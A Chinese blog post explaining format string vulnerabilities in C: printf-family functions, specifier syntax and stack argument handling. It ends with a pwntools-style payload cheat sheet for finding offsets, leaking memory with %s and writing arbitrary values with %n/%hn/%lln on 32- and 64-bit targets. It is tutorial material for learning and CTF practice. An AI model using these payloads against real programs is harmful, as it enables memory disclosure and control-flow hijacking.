格式化字符串

介绍格式化字符串

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串

一般来说,格式化字符串在利用的时候主要分为三个部分:

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

常见格式化字符串

输入:scanf

输出:

函数 基本介绍
prin函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

格式

基本格式

%[parameter][flags][field width][.precision][length]type

pattern 中的对应选择需要重点关注的有:

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, '%'字面值,不接受任何 flags, width。

漏洞原理

格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。

举个例子

在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

利用

1、使程序崩溃,%s对应的参数地址不合法的概率比较大

2、查看进程内容,根据%d,%f 输出了栈上的内容

常见payload总结

#!/usr/bin/python3

# 格式化符号说明
%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容
%c 打印单个字符
%hhn 写一字节
%hn  写两字节
%n   写四字节
%ln  32位写四字节,64位写八字节
%lln 写八字节

#################### 32位
# 求偏移
pad = "aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."

# 泄露目标地址内容,假设偏移为offset
## 目标地址放前面
pad = p32(target_addr)+"%{}$s".format(offset).encode("ISO-8859-1")
## 目标地址放后面
pad = "%{}$s".format(offset+1).encode("ISO-8859-1")+p32(target_addr)

# 改写目标地址内容为value
## 目标地址放前面
pad = p32(target_addr)+"%{}c%{}$n".format(value-4, offset).encode("ISO-8859-1")
## 目标地址放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$n".format(value, offset+3).ljust(4*3, "a").encode("ISO-8859-1")
pad += p32(target_addr)
#################### 

#################### 64位
# 求偏移
pad = "aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."

# 泄露目标地址内容,目标地址只能放后面,假设偏移为offset
pad = "%{}$s".format(offset+1).ljust(8, "a").encode("ISO-8859-1")+p64(target_addr)

# 改写目标地址内容为value
## 目标地址只能放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$lln".format(value, offset+3).ljust(8*3, "a").encode("ISO-8859-1")
pad += p64(target_addr)
#################### 

posted @ 2023-06-20 09:56  白榆-  阅读(140)  评论(0)    收藏  举报